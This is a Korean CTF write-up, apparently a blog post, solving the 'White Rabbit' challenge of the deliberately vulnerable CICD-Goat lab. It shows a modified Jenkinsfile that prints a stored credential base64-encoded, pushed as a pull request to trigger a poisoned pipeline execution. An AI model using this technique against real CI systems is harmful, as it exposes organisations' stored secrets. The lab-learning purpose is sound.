[CICD-Goat] 1. White Rabbit

쥬스몬·2023년 3월 16일
0

CICD-Goat

목록 보기
1/4

개인적으로 침투테스트 시 내부망에 액세스하면 우선 순위로 내부에서 사용중인 CI/CD 툴인 jenkins, gitlab, bitbucket 등을 탐색한다. 발견 이후에도 알려진 CVE가 모두 패치된 버전을 사용하여 익스하지 못한 경험이 있는데, 추후 이런 상황에서 좀더 스마트하게 내부 시스템을 장악하고자 취약한 환경의 CI/CD 환경인 cicd-goat을 통해 CI/CD pipeline에서 발생할 수 있는 11가지의 취약점 시나리오를 CTF 형태로 진행한다.

먼저 cicd-goat을 다운로드하고 설치하고 docker ps 명령으로 확인 시 여러 컨테이너가 실행중이며 제대로 설치된 것을 확인할 수 있다.

curl -o cicd-goat/docker-compose.yaml --create-dirs https://raw.githubusercontent.com/cider-security-research/cicd-goat/main/docker-compose.yaml
cd cicd-goat && docker-compose up -d

계정정보

  • CTFd (alice:alice)
  • Jenkins (alice:alice)
  • Gitea (thealice:thealice)
  • GitLab (alice:alice1234)

CI/CD 파이프라인 구조는 아래 이미지와 같다.

설치가 완료되어 http://localhost:8000에 로그인해 11가지의 문제를 확인할 수 있다.

이번 포스트에서는 Easy 단계의 White Rabbit을 진행한다.

Challenge : Wonderland/white-rabbit 레포지토리에 대한 액세스 권한을 이용해서 Kenkins crendential store에서 flag1을 획득하시오.

docker ps 명령 결과에서 확인한것처럼 jenkins 서버는 http://localhost:8080로 접근할 수 있다.

당연하게도 alice 계정의 Credentials에서는 아무것도 확인할 수 없었다.

여기서 얕은 지식으로 알아본 Jenkins의 Credentials란, 말그대로 자격증명으로 일반적으로 서버에서 데몬 실행 시 파라미터에 ID/PW를 넣을 경우 history에 기록되어 보안상 위험하기에 export를 사용하여 환경 변수에 담아두어 환경변수를 파라미터로 넘겨 사용되는데 그런 용도와 비슷하게 Jenkinsfile 내 자격증명을 하드코딩하는것이 보안상 취약하기에 Jenkins 상에서 사용되는 환경변수로 이해하면 좋을 것 같다. 자세한 내용은 Using credentials을 참고.

Wonderland/white-rabbit 레포지토리 확인하기위해 gitea에 접근하여 white-rabbit 레포를 복사하여 Jenkinsfile을 확인한다.

pipeline {
    agent any
    environment {
        PROJECT = "src/urllib3"
    }

    stages {
        stage ('Install_Requirements') {
            steps {
                sh """
                    virtualenv venv
                    pip3 install -r requirements.txt || true
                """
            }
        }

        stage ('Lint') {
            steps {
                sh "pylint ${PROJECT} || true"
            }
        }

        stage ('Unit Tests') {
            steps {
                sh "pytest"
            }
        }

    }
    post { 
        always { 
            cleanWs()
        }
    }
}

일반적인 파이프라인을 구성하는 Jenkinsfile의 내용이다. 여기서 공격자는 Jenkinsfile의 내용을 수정하고 branch를 push하여 Pull request를 생성해 파이프라인으로 트리거 될 수 있는PPE(Poisoned Pipeline Execution) 공격을 진행하여 Credentials Store에 저장된 flag1을 획득할 수 있다.

공격을 위해 clone한 Wonderland/white-rabbit에서 새로운 branch를 생성하고 checkout 한다.

git checkout -b [new_branch_name]

레포지토리에 내 Jenkinsfile을 아래와 같이 수정한다.

pipeline {
    agent any
    environment {
        FLAG = credentials("flag1")
    }

    stages {
        stage ('Show flag1') {
            steps {
                sh """
                    echo $FLAG | base64
                """
            }
        }
    }
    post { 
        always { 
            cleanWs()
        }
    }
}

이후 수정된 Jenkinsfile을 alice 계정으로 push한다.

git add Jenkinsfile
git commit -m "Commit Message"
git push --set-upstream origin [branch_name]

push가 완료되면 gitea에서 Wonderland/white-rabbit에서 2개의 branch가 존재하는것을 확인할 수 있다.

push한 branch로 이동하여 pull request를 진행하면 pull request에 대한 승인이 없다고한다.

다시 젠킨으로 돌아가 wonderland-white-rabbit 파이프라인을 확인해보면 Pull Reuqest가 1건 확인되는 이를 빌드한다.

빌드 기록에서 콘솔을 확인하면 수정된 Jenkinsfile의 stage(Show Flag1) 내 echo 명령이 실행되어 Credentials(flag1)이 base64 인코딩된 값으로 기록된것을 확인할 수 있다.

이렇게 CI/CD 상 PPE 공격을 통해 Jenkins Credentials에 저장된 flag1값을 탈취하고 첫번째 문제를 해결할 수 있다.

profile
블로그 이사 (https://juicemon-code.github.io/)

0개의 댓글